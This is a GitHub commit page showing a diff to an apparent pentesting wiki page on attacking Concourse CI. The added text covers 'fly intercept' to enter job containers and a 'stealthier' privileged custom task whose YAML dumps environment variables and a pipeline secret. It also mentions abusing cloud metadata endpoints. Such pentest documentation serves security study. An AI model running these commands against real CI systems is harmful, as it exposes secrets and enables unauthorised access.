Skip to content

Commit

Permalink
GitBook: [#3060] No subject
Browse files Browse the repository at this point in the history
  • Loading branch information
carlospolop authored and gitbook-bot committed Mar 16, 2022
1 parent b410ce0 commit 40904cd
Showing 1 changed file with 27 additions and 4 deletions.
31 changes: 27 additions & 4 deletions cloud-security/concourse.md
Original file line number Diff line number Diff line change
Expand Up @@ -299,6 +299,7 @@ If you have enough privileges (**member role or more**) you will be able to **li

```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
```

With these permissions you might be able to:
Expand Down Expand Up @@ -329,8 +330,8 @@ jobs:
args:
- -cx
- |
sleep 1000
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
```
Expand All @@ -342,9 +343,31 @@ With the **modification/creation** of a new pipeline you will be able to:
* Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
* **Delete** created pipeline

{% hint style="warning" %}
As far as I noticed 
{% endhint %}
### Execute Custom Task

This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):

```yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
```

```bash
fly -t tutorial execute --privileged --config task_config.yml
```

## References

Expand Down

0 comments on commit 40904cd

Please sign in to comment.